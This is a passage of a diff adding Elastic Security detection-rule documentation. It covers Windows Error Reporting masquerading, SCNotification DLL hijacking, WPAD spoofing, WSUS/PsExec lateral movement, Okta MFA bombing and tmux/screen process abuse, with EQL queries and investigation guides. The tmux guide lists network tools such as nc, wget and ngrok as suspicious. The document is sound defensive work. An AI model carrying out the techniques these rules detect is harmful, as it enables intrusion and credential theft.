-0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-potential-windows-error-manager-masquerading]] +=== Potential Windows Error Manager Masquerading + +Identifies suspicious instances of the Windows Error Reporting process (WerFault.exe or Wermgr.exe) with matching command-line and process executable values performing outgoing network connections. This may be indicative of a masquerading attempt to evade suspicious child process behavior detections. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/SBousseaden/status/1235533224337641473 +* https://www.hexacorn.com/blog/2019/09/20/werfault-command-line-switches-v0-1/ +* https://app.any.run/tasks/26051d84-b68e-4afb-8a9a-76921a271b81/ +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Windows Error Manager Masquerading* + + +By examining the specific traits of Windows binaries -- such as process trees, command lines, network connections, registry modifications, and so on -- it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading and deserve further investigation. + +This rule identifies a potential malicious process masquerading as `wermgr.exe` or `WerFault.exe`, by looking for a process creation with no arguments followed by a network connection. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan = 5s + [process where host.os.type == "windows" and event.type:"start" and process.name : ("wermgr.exe", "WerFault.exe") and + (process.args_count == 1 and + /* Excludes bug where a missing closing quote sets args_count to 1 despite extra args */ + not process.command_line regex~ """\".*\.exe[^\"].*""")] + [network where host.os.type == "windows" and process.name : ("wermgr.exe", "WerFault.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and destination.ip !="::1" and destination.ip !="127.0.0.1" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-session-hijacking-via-ccmexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-session-hijacking-via-ccmexec.asciidoc new file mode 100644 index 0000000000..a107fd72ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-session-hijacking-via-ccmexec.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-potential-windows-session-hijacking-via-ccmexec]] +=== Potential Windows Session Hijacking via CcmExec + +This detection rule identifies when 'SCNotification.exe' loads an untrusted DLL, which is a potential indicator of an attacker attempt to hijack/impersonate a Windows user session. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec +* https://mayfly277.github.io/posts/SCCM-LAB-part0x3/#impersonate-users---revshell-connected-users + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Windows Session Hijacking via CcmExec* + + +CcmExec, part of Microsoft's System Center Configuration Manager, manages client configurations and software updates. Adversaries may exploit it by loading malicious DLLs into SCNotification.exe, a process associated with user notifications. This detection rule identifies suspicious DLL activity, such as recent file creation or modification and untrusted signatures, indicating potential session hijacking attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm that the process name is SCNotification.exe and check the associated DLL file's creation or modification times to ensure they match the query conditions. +- Investigate the untrusted DLL by examining its file path, hash, and any available metadata to determine its origin and legitimacy. +- Check the code signature status of the DLL to understand why it is marked as untrusted and verify if it has been tampered with or is from an unknown publisher. +- Analyze recent system logs and user activity around the time the DLL was loaded to identify any suspicious behavior or unauthorized access attempts. +- Correlate the alert with other security events or alerts from the same host to identify potential patterns or related incidents that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they involve recent DLL file creation or modification. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- System maintenance activities, such as patch management or configuration changes, might cause SCNotification.exe to load new DLLs. Exclude these activities by identifying and whitelisting trusted maintenance operations. +- Custom or in-house applications that are not signed by a recognized authority may be flagged. Ensure these applications are signed with a trusted certificate or add them to an allowlist to avoid false positives. +- Security tools or monitoring software that interact with SCNotification.exe could be mistakenly identified. Verify these tools and exclude them from the rule if they are deemed safe and necessary for operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the SCNotification.exe process to stop the execution of the untrusted DLL and prevent further malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or software. +- Review and restore any modified or corrupted system files from a known good backup to ensure system integrity. +- Investigate the source of the untrusted DLL and remove any unauthorized software or scripts that may have facilitated its introduction. +- Implement application whitelisting to prevent unauthorized DLLs from being loaded by SCNotification.exe or other critical processes in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and process.name : "SCNotification.exe" and + (dll.Ext.relative_file_creation_time < 86400 or dll.Ext.relative_file_name_modify_time <= 500) and dll.code_signature.status != "trusted" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wpad-spoofing-via-dns-record-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wpad-spoofing-via-dns-record-creation.asciidoc new file mode 100644 index 0000000000..c9ef6a4db2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wpad-spoofing-via-dns-record-creation.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-potential-wpad-spoofing-via-dns-record-creation]] +=== Potential WPAD Spoofing via DNS Record Creation + +Identifies the creation of a DNS record that is potentially meant to enable WPAD spoofing. Attackers can disable the Global Query Block List (GQBL) and create a "wpad" record to exploit hosts running WPAD with default settings for privilege escalation and lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wpad-spoofing#through-adidns-spoofing +* https://cube0x0.github.io/Pocing-Beyond-DA/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential WPAD Spoofing via DNS Record Creation* + + +Web Proxy Auto-Discovery (WPAD) helps devices automatically detect proxy settings, crucial for network efficiency. However, attackers can exploit WPAD by creating malicious DNS records, tricking systems into using rogue proxies for data interception. The detection rule identifies suspicious DNS record changes, specifically targeting WPAD entries, to flag potential spoofing attempts, aiding in early threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code "5137" to identify the creation or modification of the "wpad" DNS record. Focus on the details provided in the winlog.event_data.ObjectDN field to confirm the presence of "DC=wpad,*". +- Check the Active Directory change history to determine who made the changes to the DNS records and whether these changes were authorized. +- Investigate the user account associated with the directory service change event to assess if it has been compromised or if there are any signs of unauthorized access. +- Analyze network traffic to and from the "wpad" DNS record to identify any suspicious activity or connections to rogue proxy servers. +- Verify the configuration of the Global Query Block List (GQBL) to ensure it has not been disabled or altered, which could allow unauthorized WPAD entries. +- Cross-reference the alert with other security logs and alerts to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate network changes may trigger alerts if a new WPAD DNS record is created intentionally for network configuration. Verify with network administrators if such changes were planned. +- Automated scripts or software updates that modify DNS records can cause false positives. Review the source of the change and consider excluding known benign scripts or update processes. +- Test environments often simulate DNS changes, including WPAD entries, for development purposes. Exclude these environments from monitoring if they are known to generate non-threatening alerts. +- Some organizations may have legacy systems that rely on WPAD configurations. Document these systems and create exceptions for their DNS changes to avoid unnecessary alerts. +- Regular audits of the Global Query Block List settings can help identify and exclude expected changes, reducing false positives related to WPAD record creation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data interception or lateral movement by the rogue proxy. +- Verify and restore the integrity of the DNS records by removing any unauthorized "wpad" entries and re-enabling the Global Query Block List (GQBL) if it was disabled. +- Conduct a thorough review of Active Directory logs to identify any unauthorized changes or suspicious activities related to directory service modifications. +- Reset credentials for any accounts that may have been compromised or accessed during the incident to prevent unauthorized access. +- Implement network segmentation to limit the exposure of critical systems to potential WPAD spoofing attacks. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems or data were affected. +- Update and enhance monitoring rules to detect similar WPAD spoofing attempts in the future, ensuring timely alerts and responses. + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5137" and winlog.event_data.ObjectDN : "DC=wpad,*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wsus-abuse-for-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wsus-abuse-for-lateral-movement.asciidoc new file mode 100644 index 0000000000..b5cb4fdcc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-wsus-abuse-for-lateral-movement.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-potential-wsus-abuse-for-lateral-movement]] +=== Potential WSUS Abuse for Lateral Movement + +Identifies a potential Windows Server Update Services (WSUS) abuse to execute psexec to enable for lateral movement. WSUS is limited to executing Microsoft signed binaries, which limits the executables that can be used to tools published by Microsoft. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wsus-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential WSUS Abuse for Lateral Movement* + + +Windows Server Update Services (WSUS) is a system that manages updates for Microsoft products, ensuring that only signed binaries are executed. Adversaries may exploit WSUS to run Microsoft-signed tools like PsExec for lateral movement within a network. The detection rule identifies suspicious processes initiated by WSUS, specifically targeting PsExec executions, to flag potential abuse attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the suspicious process execution, specifically checking for the parent process name "wuauclt.exe" and the child process name "psexec64.exe" or original file name "psexec.c". +- Examine the process execution path to verify if it matches the specified directories: "?:\Windows\SoftwareDistribution\Download\Install\*" or "\Device\HarddiskVolume?\Windows\SoftwareDistribution\Download\Install\*". +- Investigate the source and destination hosts involved in the alert to determine if there are any unauthorized or unexpected connections, focusing on potential lateral movement activities. +- Check the timeline of events leading up to and following the alert to identify any other suspicious activities or patterns that may indicate a broader attack. +- Correlate the alert with other security logs and alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and confirm the legitimacy of the activity. +- Assess the user accounts involved in the process execution to ensure they are legitimate and have not been compromised, paying attention to any anomalies in user behavior or access patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks using PsExec may trigger the rule. To manage this, create exceptions for known administrative accounts or specific times when these tasks are scheduled. +- Automated scripts or software deployment tools that use PsExec for legitimate purposes can cause false positives. Identify these tools and exclude their process hashes or specific execution paths from the rule. +- Security software or monitoring tools that utilize PsExec for scanning or remediation might be flagged. Verify these tools and whitelist their activities by excluding their specific process names or parent processes. +- Test environments where PsExec is used for development or testing purposes can generate alerts. Exclude these environments by specifying their IP ranges or hostnames in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further lateral movement within the network. Disconnect it from the network or use network segmentation to contain the threat. +- Terminate any suspicious processes identified as PsExec executions initiated by WSUS, specifically those matching the query criteria, to stop any ongoing malicious activity. +- Conduct a thorough review of the affected system's update logs and WSUS configuration to identify any unauthorized changes or updates that may have been exploited. +- Remove any unauthorized or malicious binaries found in the specified directories (e.g., Windows\SoftwareDistribution\Download\Install) to prevent further execution. +- Reset credentials for any accounts that may have been compromised or used in the lateral movement attempt, especially those with administrative privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been affected. +- Implement enhanced monitoring and logging for WSUS activities and PsExec executions to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.parent.name : "wuauclt.exe" and +process.executable : ( + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\*", + "\\Device\\HarddiskVolume?\\Windows\\SoftwareDistribution\\Download\\Install\\*" +) and +(process.name : "psexec64.exe" or ?process.pe.original_file_name : "psexec.c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..7bcda575e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-potentially-successful-okta-mfa-bombing-via-push-notifications]] +=== Potentially Successful Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Okta + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potentially Successful Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc new file mode 100644 index 0000000000..7cdd620bd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-potentially-suspicious-process-started-via-tmux-or-screen]] +=== Potentially Suspicious Process Started via tmux or screen + +This rule monitors for the execution of suspicious commands via screen and tmux. When launching a command and detaching directly, the commands will be executed in the background via its parent process. Attackers may leverage screen or tmux to execute commands while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potentially Suspicious Process Started via tmux or screen* + + +Tmux and screen are terminal multiplexers that allow users to manage multiple terminal sessions from a single window, facilitating multitasking and session persistence. Adversaries may exploit these tools to execute commands stealthily, detaching sessions to run processes in the background. The detection rule identifies suspicious processes initiated by tmux or screen, focusing on potentially malicious commands, to uncover attempts at evading security measures. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed by tmux or screen, focusing on the process.name field to determine if it matches any known suspicious commands like "nmap", "nc", "wget", etc. +- Examine the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Check the parent process information, specifically process.parent.name, to confirm that the process was indeed initiated by tmux or screen, and assess if this behavior is expected for the user or system. +- Investigate the network activity associated with the process, especially if the command involves network utilities like "curl" or "ping", to identify any unusual or unauthorized connections. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System administrators or developers may use tmux or screen to run legitimate maintenance scripts or development tools like Java, PHP, or Perl. To manage these, create exceptions for known scripts or processes that are regularly executed by trusted users. +- Automated monitoring or testing tools might utilize tmux or screen to execute network diagnostic commands such as ping or nmap. Identify and whitelist these tools if they are part of routine operations. +- Some backup or data transfer processes might use wget or curl to fetch resources. Verify the source and destination of these processes and exclude them if they are part of scheduled tasks. +- Developers might use tmux or screen to run interactive sessions with languages like Ruby or Lua for debugging purposes. Establish a list of trusted users and exclude their sessions from triggering alerts. +- In environments where remote management is common, tools like ngrok might be used for legitimate purposes. Ensure that these tools are configured securely and exclude them if they are part of authorized workflows. + + +*Response and remediation* 